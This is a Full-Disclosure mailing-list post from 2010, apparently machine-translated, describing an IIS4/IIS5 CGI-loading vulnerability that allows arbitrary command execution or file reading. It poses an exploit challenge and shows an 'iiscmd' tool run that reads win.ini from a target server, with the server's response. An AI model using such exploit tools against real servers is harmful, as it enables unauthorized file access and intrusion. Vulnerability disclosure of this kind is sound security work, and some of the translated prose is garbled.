[Full-disclosure] Exploit technical challenges






http://hi.baidu.com/yuange1975/blog/item/843aaa97d8f8667f55fb9655.html


Exploit technical challenges

IIS known vulnerability allows an interpretation of any given php file.

Challenge:

How to execute arbitrary commands?

Application Environment: Firewall configuration does not allow outside connections.

Requirements: not required to upload files.





From: yuange1975@xxxxxxxxxxx
To: full-disclosure@xxxxxxxxxxxxxxxxx
Subject: iis4\iis5 cgi bug and WEB Service CGI Interface Vulnerability Analysis (continued)
Date: Sat, 11 Dec 2010 06:06:37 +0000




Too many bad things in the belly of the fast. 2000 of iis, unicode \ decode \ cgi \ webdav \ etc vulnerability, reaching a peak, and later transferred to rpc study. Now there is a 01 or so found a serious flaw, iis4, 5 set error loading cgi vulnerability, execute arbitrary commands or view arbitrary files. Spent nearly a decade, this vulnerability have been quickly eaten away. Because iis5.1 core code into the kernel start iis, this exploit code has been dropped, so will not need a later version.
There are loopholes in some time ago to write an article. Did not intend to put out, and feel that soon decayed, it released together.


http://hi.baidu.com/yuange1975/blog/item/6432bffa52252f0fa8d311ac.html

C:\tool>iiscmd -s 192.168.0.112 -f c:\winnt\win.ini
recv:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sat, 11 Dec 2010 05:21:17 GMT
Connection: close
X-Powered-By: PHP/4.0.0
Content-type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
asf=MPEGVideo
asx=MPEGVideo
ivf=MPEGVideo
m3u=MPEGVideo
mp2v=MPEGVideo
mp3=MPEGVideo
mpv2=MPEGVideo
wax=MPEGVideo
wm=MPEGVideo
wma=MPEGVideo
wmv=MPEGVideo
wvx=MPEGVideo

Server close!

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